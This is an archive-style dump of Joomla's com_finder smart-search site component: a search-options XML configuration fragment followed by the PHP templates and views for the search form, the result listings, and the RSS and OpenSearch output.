description="COM_FINDER_CONFIG_SHOW_DATE_FILTERS_DESC"
default=""
useglobal="true"
class="chzn-color"
>
<option value="1">JSHOW</option>
<option value="0">JHIDE</option>
</field>
<field
name="show_advanced"
type="list"
label="COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL"
description="COM_FINDER_CONFIG_SHOW_ADVANCED_DESC"
default=""
useglobal="true"
class="chzn-color"
>
<option value="1">JSHOW</option>
<option value="0">JHIDE</option>
</field>
<field
name="expand_advanced"
type="list"
label="COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL"
description="COM_FINDER_CONFIG_EXPAND_ADVANCED_DESC"
default=""
useglobal="true"
class="chzn-color"
>
<option value="1">JSHOW</option>
<option value="0">JHIDE</option>
</field>
<field type="spacer" />
<field
name="show_description"
type="list"
label="COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL"
description="COM_FINDER_CONFIG_SHOW_DESCRIPTION_DESC"
default=""
useglobal="true"
class="chzn-color"
>
<option value="1">JSHOW</option>
<option value="0">JHIDE</option>
</field>
<field
name="description_length"
type="number"
label="COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL"
description="COM_FINDER_CONFIG_DESCRIPTION_LENGTH_DESC"
default=""
size="5"
useglobal="true"
/>
<field
name="show_url"
type="list"
label="COM_FINDER_CONFIG_SHOW_URL_LABEL"
description="COM_FINDER_CONFIG_SHOW_URL_DESC"
default=""
useglobal="true"
class="chzn-color"
>
<option value="1">JSHOW</option>
<option value="0">JHIDE</option>
</field>
<field type="spacer" />
</fieldset>
<fieldset name="advanced">
<field
name="show_pagination_limit"
type="list"
label="JGLOBAL_DISPLAY_SELECT_LABEL"
description="JGLOBAL_DISPLAY_SELECT_DESC"
validate="options"
class="chzn-color"
>
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_pagination"
type="list"
label="JGLOBAL_PAGINATION_LABEL"
description="JGLOBAL_PAGINATION_DESC"
validate="options"
class="chzn-color"
>
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
<option value="2">JGLOBAL_AUTO</option>
</field>
<field
name="show_pagination_results"
type="list"
label="JGLOBAL_PAGINATION_RESULTS_LABEL"
description="JGLOBAL_PAGINATION_RESULTS_DESC"
validate="options"
class="chzn-color"
>
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="allow_empty_query"
type="list"
label="COM_FINDER_ALLOW_EMPTY_QUERY_LABEL"
description="COM_FINDER_ALLOW_EMPTY_QUERY_DESC"
default=""
useglobal="true"
class="chzn-color"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="show_suggested_query"
type="list"
label="COM_FINDER_CONFIG_SHOW_SUGGESTED_QUERY_LABEL"
description="COM_FINDER_CONFIG_SHOW_SUGGESTED_QUERY_DESC"
default=""
useglobal="true"
class="chzn-color"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="show_explained_query"
type="list"
label="COM_FINDER_CONFIG_SHOW_EXPLAINED_QUERY_LABEL"
description="COM_FINDER_CONFIG_SHOW_EXPLAINED_QUERY_DESC"
default=""
useglobal="true"
class="chzn-color"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="sort_order"
type="list"
label="COM_FINDER_CONFIG_SORT_ORDER_LABEL"
description="COM_FINDER_CONFIG_SORT_ORDER_DESC"
default=""
useglobal="true"
>
<option
value="relevance">COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE</option>
<option
value="date">COM_FINDER_CONFIG_SORT_OPTION_START_DATE</option>
<option
value="price">COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE</option>
</field>
<field
name="sort_direction"
type="list"
label="COM_FINDER_CONFIG_SORT_DIRECTION_LABEL"
description="COM_FINDER_CONFIG_SORT_DIRECTION_DESC"
default=""
useglobal="true"
>
<option
value="desc">COM_FINDER_CONFIG_SORT_OPTION_DESCENDING</option>
<option
value="asc">COM_FINDER_CONFIG_SORT_OPTION_ASCENDING</option>
</field>
</fieldset>
<fieldset name="integration">
<field
name="show_feed_link"
type="list"
label="JGLOBAL_SHOW_FEED_LINK_LABEL"
description="JGLOBAL_SHOW_FEED_LINK_DESC"
validate="options"
class="chzn-color"
>
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
</fieldset>
</fields>
</metadata>
search/tmpl/default_form.php000064400000006745151166655720012177
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_finder
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
if ($this->params->get('show_advanced', 1) ||
$this->params->get('show_autosuggest', 1))
{
JHtml::_('jquery.framework');
$script = "
jQuery(function() {";
if ($this->params->get('show_advanced', 1))
{
/*
* This segment of code disables select boxes that have no value when the
* form is submitted so that the URL doesn't get blown up with null
values.
*/
$script .= "
jQuery('#finder-search').on('submit', function(e){
e.stopPropagation();
// Disable select boxes with no value selected.
jQuery('#advancedSearch').find('select').each(function(index,
el) {
var el = jQuery(el);
if(!el.val()){
el.attr('disabled', 'disabled');
}
});
});";
}
/*
* This segment of code sets up the autocompleter.
*/
if ($this->params->get('show_autosuggest', 1))
{
JHtml::_('script', 'jui/jquery.autocomplete.min.js',
array('version' => 'auto', 'relative'
=> true));
$script .= "
var suggest = jQuery('#q').autocomplete({
serviceUrl: '" .
JRoute::_('index.php?option=com_finder&task=suggestions.suggest&format=json&tmpl=component')
. "',
paramName: 'q',
minChars: 1,
maxHeight: 400,
width: 300,
zIndex: 9999,
deferRequestBy: 500
});";
}
$script .= "
});";
JFactory::getDocument()->addScriptDeclaration($script);
}
?>
<form id="finder-search" action="<?php echo
JRoute::_($this->query->toUri()); ?>" method="get"
class="form-inline">
<?php echo $this->getFields(); ?>
<?php // DISABLED UNTIL WEIRD VALUES CAN BE TRACKED DOWN. ?>
<?php if (false &&
$this->state->get('list.ordering') !==
'relevance_dsc') : ?>
<input type="hidden" name="o" value="<?php
echo $this->escape($this->state->get('list.ordering'));
?>" />
<?php endif; ?>
<fieldset class="word">
<label for="q">
<?php echo JText::_('COM_FINDER_SEARCH_TERMS'); ?>
</label>
<input type="text" name="q" id="q"
size="30" value="<?php echo
$this->escape($this->query->input); ?>"
class="inputbox" />
<?php if ($this->escape($this->query->input) != ''
|| $this->params->get('allow_empty_query')) : ?>
<button name="Search" type="submit"
class="btn btn-primary">
<span class="icon-search icon-white"></span>
<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>
</button>
<?php else : ?>
<button name="Search" type="submit"
class="btn btn-primary disabled">
<span class="icon-search icon-white"></span>
<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>
</button>
<?php endif; ?>
<?php if ($this->params->get('show_advanced', 1)) :
?>
<a href="#advancedSearch" data-toggle="collapse"
class="btn">
<span class="icon-list"
aria-hidden="true"></span>
<?php echo JText::_('COM_FINDER_ADVANCED_SEARCH_TOGGLE');
?>
</a>
<?php endif; ?>
</fieldset>
<?php if ($this->params->get('show_advanced', 1)) :
?>
<div id="advancedSearch" class="collapse<?php if
($this->params->get('expand_advanced', 0)) echo '
in'; ?>">
<hr />
<?php if ($this->params->get('show_advanced_tips',
1)) : ?>
<div id="search-query-explained">
<div class="advanced-search-tip">
<?php echo JText::_('COM_FINDER_ADVANCED_TIPS'); ?>
</div>
<hr />
</div>
<?php endif; ?>
<div id="finder-filter-window">
<?php echo JHtml::_('filter.select', $this->query,
$this->params); ?>
</div>
</div>
<?php endif; ?>
</form>
search/tmpl/default_result.php000064400000005004151166655720012535
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_finder
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\String\StringHelper;
// Get the mime type class.
$mime = !empty($this->result->mime) ? 'mime-' .
$this->result->mime : null;
$show_description = $this->params->get('show_description',
1);
if ($show_description)
{
// Calculate number of characters to display around the result
$term_length = StringHelper::strlen($this->query->input);
$desc_length = $this->params->get('description_length',
255);
$pad_length = $term_length < $desc_length ? (int) floor(($desc_length
- $term_length) / 2) : 0;
// Make sure we highlight term both in introtext and fulltext
if (!empty($this->result->summary) &&
!empty($this->result->body))
{
$full_description =
FinderIndexerHelper::parse($this->result->summary .
$this->result->body);
}
else
{
$full_description = $this->result->description;
}
// Find the position of the search term
$pos = $term_length ?
StringHelper::strpos(StringHelper::strtolower($full_description),
StringHelper::strtolower($this->query->input)) : false;
// Find a potential start point
$start = ($pos && $pos > $pad_length) ? $pos - $pad_length : 0;
// Find a space between $start and $pos, start right after it.
$space = StringHelper::strpos($full_description, ' ', $start
> 0 ? $start - 1 : 0);
$start = ($space && $space < $pos) ? $space + 1 : $start;
$description = JHtml::_('string.truncate',
StringHelper::substr($full_description, $start), $desc_length, true);
}
$route = $this->result->route;
// Get the route with highlighting information.
if (!empty($this->query->highlight)
&& empty($this->result->mime)
&& $this->params->get('highlight_terms', 1)
&& JPluginHelper::isEnabled('system',
'highlight'))
{
$route .= '&highlight=' .
base64_encode(json_encode($this->query->highlight));
}
?>
<li>
<h4 class="result-title <?php echo $mime; ?>">
<a href="<?php echo JRoute::_($route); ?>">
<?php echo $this->result->title; ?>
</a>
</h4>
<?php if ($show_description && $description !== '') :
?>
<p class="result-text<?php echo $this->pageclass_sfx;
?>">
<?php echo $description; ?>
</p>
<?php endif; ?>
<?php if ($this->params->get('show_url', 1)) : ?>
<div class="small result-url<?php echo
$this->pageclass_sfx; ?>">
<?php echo $this->baseUrl, JRoute::_($this->result->route);
?>
</div>
<?php endif; ?>
</li>
search/tmpl/default_results.php000064400000006300151166655720012720
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_finder
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<?php // Display the suggested search if it is different from the
current search. ?>
<?php if (($this->suggested &&
$this->params->get('show_suggested_query', 1)) ||
($this->explained &&
$this->params->get('show_explained_query', 1))) : ?>
<div id="search-query-explained">
<?php // Display the suggested search query. ?>
<?php if ($this->suggested &&
$this->params->get('show_suggested_query', 1)) : ?>
<?php // Replace the base query string with the suggested query
string. ?>
<?php $uri = JUri::getInstance($this->query->toUri()); ?>
<?php $uri->setVar('q', $this->suggested); ?>
<?php // Compile the suggested query link. ?>
<?php $linkUrl = JRoute::_($uri->toString(array('path',
'query'))); ?>
<?php $link = '<a href="' . $linkUrl .
'">' . $this->escape($this->suggested) .
'</a>'; ?>
<?php echo JText::sprintf('COM_FINDER_SEARCH_SIMILAR',
$link); ?>
<?php elseif ($this->explained &&
$this->params->get('show_explained_query', 1)) : ?>
<?php // Display the explained search query. ?>
<?php echo $this->explained; ?>
<?php endif; ?>
</div>
<?php endif; ?>
<?php // Display the 'no results' message and exit the
template. ?>
<?php if (($this->total === 0) || ($this->total === null)) : ?>
<div id="search-result-empty">
<h2><?php echo
JText::_('COM_FINDER_SEARCH_NO_RESULTS_HEADING');
?></h2>
<?php $multilang = JFactory::getApplication()->getLanguageFilter()
? '_MULTILANG' : ''; ?>
<p><?php echo
JText::sprintf('COM_FINDER_SEARCH_NO_RESULTS_BODY' . $multilang,
$this->escape($this->query->input)); ?></p>
</div>
<?php // Exit this template. ?>
<?php return; ?>
<?php endif; ?>
<?php // Activate the highlighter if enabled. ?>
<?php if (!empty($this->query->highlight) &&
$this->params->get('highlight_terms', 1)) : ?>
<?php JHtml::_('behavior.highlighter',
$this->query->highlight); ?>
<?php endif; ?>
<?php // Display a list of results ?>
<br id="highlighter-start" />
<ul class="search-results<?php echo $this->pageclass_sfx;
?> list-striped">
<?php $this->baseUrl =
JUri::getInstance()->toString(array('scheme',
'host', 'port')); ?>
<?php foreach ($this->results as $result) : ?>
<?php $this->result = &$result; ?>
<?php $layout = $this->getLayoutFile($this->result->layout);
?>
<?php echo $this->loadTemplate($layout); ?>
<?php endforeach; ?>
</ul>
<br id="highlighter-end" />
<?php // Display the pagination ?>
<div class="search-pagination">
<div class="pagination">
<?php echo $this->pagination->getPagesLinks(); ?>
</div>
<div class="search-pages-counter">
<?php // Prepare the pagination string. Results X - Y of Z ?>
<?php $start = (int)
$this->pagination->get('limitstart') + 1; ?>
<?php $total = (int) $this->pagination->get('total');
?>
<?php $limit = (int) $this->pagination->get('limit') *
$this->pagination->get('pages.current'); ?>
<?php $limit = (int) ($limit > $total ? $total : $limit); ?>
<?php echo JText::sprintf('COM_FINDER_SEARCH_RESULTS_OF',
$start, $limit, $total); ?>
</div>
</div>
search/view.feed.php000064400000005204151166655720010415 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_finder
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Search feed view class for the Finder package.
*
* @since 2.5
*/
class FinderViewSearch extends JViewLegacy
{
/**
* Method to display the view.
*
* @param string $tpl A template file to load. [optional]
*
* @return mixed JError object on failure, void on success.
*
* @since 2.5
*/
public function display($tpl = null)
{
// Get the application
$app = JFactory::getApplication();
// Adjust the list limit to the feed limit.
$app->input->set('limit',
$app->get('feed_limit'));
// Get view data.
$state = $this->get('State');
$params = $state->get('params');
$query = $this->get('Query');
$results = $this->get('Results');
// Push out the query data.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
$explained = JHtml::_('query.explained', $query);
// Set the document title.
$title = $params->get('page_title', '');
if (empty($title))
{
$title = $app->get('sitename');
}
elseif ($app->get('sitename_pagetitles', 0) == 1)
{
$title = JText::sprintf('JPAGETITLE',
$app->get('sitename'), $title);
}
elseif ($app->get('sitename_pagetitles', 0) == 2)
{
$title = JText::sprintf('JPAGETITLE', $title,
$app->get('sitename'));
}
$this->document->setTitle($title);
// Configure the document description.
if (!empty($explained))
{
$this->document->setDescription(html_entity_decode(strip_tags($explained),
ENT_QUOTES, 'UTF-8'));
}
// Set the document link.
$this->document->link = JRoute::_($query->toUri());
// If we don't have any results, we are done.
if (empty($results))
{
return;
}
// Convert the results to feed entries.
foreach ($results as $result)
{
// Convert the result to a feed entry.
$item = new JFeedItem;
$item->title = $result->title;
$item->link = JRoute::_($result->route);
$item->description = $result->description;
// Use Unix date to cope for non-english languages
$item->date = (int) $result->start_date ?
JHtml::_('date', $result->start_date, 'U') :
$result->indexdate;
// Get the taxonomy data.
$taxonomy = $result->getTaxonomy();
// Add the category to the feed if available.
if (isset($taxonomy['Category']))
{
$node = array_pop($taxonomy['Category']);
$item->category = $node->title;
}
// Loads item info into RSS array
$this->document->addItem($item);
}
}
}
search/view.html.php000064400000017077151166655720010471 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_finder
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Helper\SearchHelper;
/**
* Search HTML view class for the Finder package.
*
* @since 2.5
*/
class FinderViewSearch extends JViewLegacy
{
/**
* The query object
*
* @var FinderIndexerQuery
*/
protected $query;
/**
* The application parameters
*
* @var Registry The parameters object
*/
protected $params;
/**
* The model state
*
* @var object
*/
protected $state;
protected $user;
/**
* An array of results
*
* @var array
*
* @since 3.8.0
*/
protected $results;
/**
* The total number of items
*
* @var integer
*
* @since 3.8.0
*/
protected $total;
/**
* The pagination object
*
* @var JPagination
*
* @since 3.8.0
*/
protected $pagination;
/**
* Method to display the view.
*
* @param string $tpl A template file to load. [optional]
*
* @return mixed JError object on failure, void on success.
*
* @since 2.5
*/
public function display($tpl = null)
{
$app = JFactory::getApplication();
$params = $app->getParams();
// Get view data.
$state = $this->get('State');
$query = $this->get('Query');
JDEBUG ?
JProfiler::getInstance('Application')->mark('afterFinderQuery')
: null;
$results = $this->get('Results');
JDEBUG ?
JProfiler::getInstance('Application')->mark('afterFinderResults')
: null;
$total = $this->get('Total');
JDEBUG ?
JProfiler::getInstance('Application')->mark('afterFinderTotal')
: null;
$pagination = $this->get('Pagination');
JDEBUG ?
JProfiler::getInstance('Application')->mark('afterFinderPagination')
: null;
// Flag indicates to not add limitstart=0 to URL
$pagination->hideEmptyLimitstart = true;
// Check for errors.
if (count($errors = $this->get('Errors')))
{
JError::raiseError(500, implode("\n", $errors));
return false;
}
// Configure the pathway.
if (!empty($query->input))
{
$app->getPathway()->addItem($this->escape($query->input));
}
// Push out the view data.
$this->state = &$state;
$this->params = &$params;
$this->query = &$query;
$this->results = &$results;
$this->total = &$total;
$this->pagination = &$pagination;
// Check for a double quote in the query string.
if (strpos($this->query->input, '"'))
{
// Get the application router.
$router = &$app::getRouter();
// Fix the q variable in the URL.
if ($router->getVar('q') !== $this->query->input)
{
$router->setVar('q', $this->query->input);
}
}
// Log the search
SearchHelper::logSearch($this->query->input,
'com_finder');
// Push out the query data.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
$this->suggested = JHtml::_('query.suggested', $query);
$this->explained = JHtml::_('query.explained', $query);
// Escape strings for HTML output
$this->pageclass_sfx =
htmlspecialchars($params->get('pageclass_sfx'));
// Check for layout override only if this is not the active menu item
// If it is the active menu item, then the view and category id will
match
$active = $app->getMenu()->getActive();
if (isset($active->query['layout']))
{
// We need to set the layout in case this is an alternative menu item
(with an alternative layout)
$this->setLayout($active->query['layout']);
}
$this->prepareDocument($query);
JDEBUG ?
JProfiler::getInstance('Application')->mark('beforeFinderLayout')
: null;
parent::display($tpl);
JDEBUG ?
JProfiler::getInstance('Application')->mark('afterFinderLayout')
: null;
}
/**
* Method to get hidden input fields for a get form so that control
variables
* are not lost upon form submission
*
* @return string A string of hidden input form fields
*
* @since 2.5
*/
protected function getFields()
{
$fields = null;
// Get the URI.
$uri = JUri::getInstance(JRoute::_($this->query->toUri()));
$uri->delVar('q');
$uri->delVar('o');
$uri->delVar('t');
$uri->delVar('d1');
$uri->delVar('d2');
$uri->delVar('w1');
$uri->delVar('w2');
$elements = $uri->getQuery(true);
// Create hidden input elements for each part of the URI.
foreach ($elements as $n => $v)
{
if (is_scalar($v))
{
$fields .= '<input type="hidden" name="' .
$n . '" value="' . $v . '" />';
}
}
return $fields;
}
/**
* Method to get the layout file for a search result object.
*
* @param string $layout The layout file to check. [optional]
*
* @return string The layout file to use.
*
* @since 2.5
*/
protected function getLayoutFile($layout = null)
{
// Create and sanitize the file name.
$file = $this->_layout . '_' .
preg_replace('/[^A-Z0-9_\.-]/i', '', $layout);
// Check if the file exists.
jimport('joomla.filesystem.path');
$filetofind = $this->_createFileName('template',
array('name' => $file));
$exists = JPath::find($this->_path['template'],
$filetofind);
return ($exists ? $layout : 'result');
}
/**
* Prepares the document
*
* @param FinderIndexerQuery $query The search query
*
* @return void
*
* @since 2.5
*/
protected function prepareDocument($query)
{
$app = JFactory::getApplication();
$menus = $app->getMenu();
$title = null;
// Because the application sets a default page title,
// we need to get it from the menu item itself
$menu = $menus->getActive();
if ($menu)
{
$this->params->def('page_heading',
$this->params->get('page_title', $menu->title));
}
else
{
$this->params->def('page_heading',
JText::_('COM_FINDER_DEFAULT_PAGE_TITLE'));
}
$title = $this->params->get('page_title', '');
if (empty($title))
{
$title = $app->get('sitename');
}
elseif ($app->get('sitename_pagetitles', 0) == 1)
{
$title = JText::sprintf('JPAGETITLE',
$app->get('sitename'), $title);
}
elseif ($app->get('sitename_pagetitles', 0) == 2)
{
$title = JText::sprintf('JPAGETITLE', $title,
$app->get('sitename'));
}
$this->document->setTitle($title);
if ($layout = $this->params->get('article_layout'))
{
$this->setLayout($layout);
}
// Configure the document meta-description.
if (!empty($this->explained))
{
$explained =
$this->escape(html_entity_decode(strip_tags($this->explained),
ENT_QUOTES, 'UTF-8'));
$this->document->setDescription($explained);
}
elseif ($this->params->get('menu-meta_description'))
{
$this->document->setDescription($this->params->get('menu-meta_description'));
}
// Configure the document meta-keywords.
if (!empty($query->highlight))
{
$this->document->setMetaData('keywords', implode(',
', $query->highlight));
}
elseif ($this->params->get('menu-meta_keywords'))
{
$this->document->setMetadata('keywords',
$this->params->get('menu-meta_keywords'));
}
if ($this->params->get('robots'))
{
$this->document->setMetadata('robots',
$this->params->get('robots'));
}
// Add feed link to the document head.
if ($this->params->get('show_feed_link', 1) == 1)
{
// Add the RSS link.
$props = array('type' => 'application/rss+xml',
'title' => 'RSS 2.0');
$route = JRoute::_($this->query->toUri() .
'&format=feed&type=rss');
$this->document->addHeadLink($route, 'alternate',
'rel', $props);
// Add the ATOM link.
$props = array('type' => 'application/atom+xml',
'title' => 'Atom 1.0');
$route = JRoute::_($this->query->toUri() .
'&format=feed&type=atom');
$this->document->addHeadLink($route, 'alternate',
'rel', $props);
}
}
}
search/view.opensearch.php000064400000002532151166655720011642
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_finder
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* OpenSearch View class for Finder
*
* @since 2.5
*/
class FinderViewSearch extends JViewLegacy
{
/**
* Method to display the view.
*
* @param string $tpl A template file to load. [optional]
*
* @return mixed JError object on failure, void on success.
*
* @since 2.5
*/
public function display($tpl = null)
{
$doc = JFactory::getDocument();
$app = JFactory::getApplication();
$params = JComponentHelper::getParams('com_finder');
$doc->setShortName($params->get('opensearch_name',
$app->get('sitename')));
$doc->setDescription($params->get('opensearch_description',
$app->get('MetaDesc')));
// Add the URL for the search
$searchUri = JUri::base() .
'index.php?option=com_finder&q={searchTerms}';
// Find the menu item for the search
$menu = $app->getMenu();
$items = $menu->getItems('link',
'index.php?option=com_finder&view=search');
if (isset($items[0]))
{
$searchUri .= '&Itemid=' . $items[0]->id;
}
$htmlSearch = new JOpenSearchUrl;
$htmlSearch->template = JRoute::_($searchUri);
$doc->addUrl($htmlSearch);
}
}